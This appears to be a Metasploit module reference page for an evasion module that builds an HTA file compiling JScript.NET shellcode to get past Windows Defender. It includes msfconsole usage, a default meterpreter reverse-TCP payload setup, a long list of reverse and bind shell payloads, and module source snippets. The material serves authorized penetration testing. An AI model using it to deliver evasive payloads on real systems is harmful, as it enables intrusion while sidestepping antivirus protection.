Microsoft Windows Defender Evasive JS.Net and HTA - Metasploit
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Module Overview
Name: Microsoft Windows Defender Evasive JS.Net and HTA
Module: evasion/windows/windows_defender_js_hta
Source code: modules/evasion/windows/windows_defender_js_hta.rb
Disclosure date: -
Last modification time: 2018-10-11 17:38:47 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will generate an HTA file that writes and compiles a JScript.NET file containing shellcode on the target machine. After compilation, the generated EXE will execute the shellcode without interference from Windows Defender. It is recommended that you use a payload that uses RC4 or HTTPS for best experience.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use evasion/windows/windows_defender_js_hta
msf evasion(windows_defender_js_hta) > show options
... show and set options ...
msf evasion(windows_defender_js_hta) > exploit
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Msfconsole Usage
Here is how the windows/windows_defender_js_hta evasion module looks in the msfconsole:
msf6 > use evasion/windows/windows_defender_js_hta
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/windows_defender_js_hta) > show info
Name: Microsoft Windows Defender Evasive JS.Net and HTA
Module: evasion/windows/windows_defender_js_hta
Platform: Windows
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
sinmygit
Shelby Pace
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME iPWYrcTp.hta yes Filename for the evasive file (default: random)
Description:
This module will generate an HTA file that writes and compiles a
JScript.NET file containing shellcode on the target machine. After
compilation, the generated EXE will execute the shellcode without
interference from Windows Defender. It is recommended that you use a
payload that uses RC4 or HTTPS for best experience.
Module Options
This is a complete list of options available in the windows/windows_defender_js_hta evasion module:
msf6 evasion(windows/windows_defender_js_hta) > show options
Module options (evasion/windows/windows_defender_js_hta):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME iPWYrcTp.hta yes Filename for the evasive file (default: random)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Evasion target:
Id Name
-- ----
0 Microsoft Windows
Advanced Options
Here is a complete list of advanced options supported by the windows/windows_defender_js_hta evasion module:
msf6 evasion(windows/windows_defender_js_hta) > show advanced
Module advanced options (evasion/windows/windows_defender_js_hta):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion Targets
Here is a list of targets (platforms and systems) supported by the windows/windows_defender_js_hta evasion module:
msf6 evasion(windows/windows_defender_js_hta) > show targets
Evasion targets:
Id Name
-- ----
0 Microsoft Windows
Compatible Payloads
This is a list of possible payloads which are compatible with the windows/windows_defender_js_hta evasion module:
msf6 evasion(windows/windows_defender_js_hta) > show payloads
Compatible Payloads
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# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
43 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
44 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
45 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
46 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
47 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
48 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
49 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
50 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
51 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
52 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
53 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
54 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
55 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
56 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
59 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
60 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
61 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
62 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The JScript.NET file was not found.
Here is a relevant code snippet related to the "The JScript.NET file was not found." error message:
40: def run
41: # This is used in the ERB template
42: file_payload = Rex::Text.encode_base64(payload.encoded)
43: evasion_shellcode_path = File.join(Msf::Config.data_directory, 'exploits', 'evasion_shellcode.js')
44: jsnet_code = File.read(evasion_shellcode_path)
45: fail_with(Failure::NotFound, 'The JScript.NET file was not found.') unless File.exists?(evasion_shellcode_path)
46: js_file = ERB.new(jsnet_code).result(binding())
47: jsnet_encoded = Rex::Text.encode_base64(js_file)
48: # This is used in the ERB template
49: fname = Rex::Text.rand_text_alpha(6)
50: arch = ["x86", "x64"].include?(payload.arch.first) ? payload.arch.first : "anycpu"
The HTA file was not found.
Here is a relevant code snippet related to the "The HTA file was not found." error message:
47: jsnet_encoded = Rex::Text.encode_base64(js_file)
48: # This is used in the ERB template
49: fname = Rex::Text.rand_text_alpha(6)
50: arch = ["x86", "x64"].include?(payload.arch.first) ? payload.arch.first : "anycpu"
51: hta_path = File.join(Msf::Config.data_directory, 'exploits', 'hta_evasion.hta')
52: hta = File.read(hta_path)
53: fail_with(Failure::NotFound, 'The HTA file was not found.') unless File.exists?(hta_path)
54: hta_file = ERB.new(hta).result(binding())
55: file_create(hta_file)
56: end
57: end
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Related Pull Requests
- #10793 Merged Pull Request: improve windows_defender_js_hta
- #10759 Merged Pull Request: Add new evasion module type plus a couple of modules
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See Also
Check also the following modules related to this module:
- evasion/windows/applocker_evasion_install_util
- evasion/windows/applocker_evasion_msbuild
- evasion/windows/applocker_evasion_presentationhost
- evasion/windows/applocker_evasion_regasm_regsvcs
- evasion/windows/applocker_evasion_workflow_compiler
- evasion/windows/process_herpaderping
- evasion/windows/syscall_inject
- evasion/windows/windows_defender_exe
Authors
- sinmygit
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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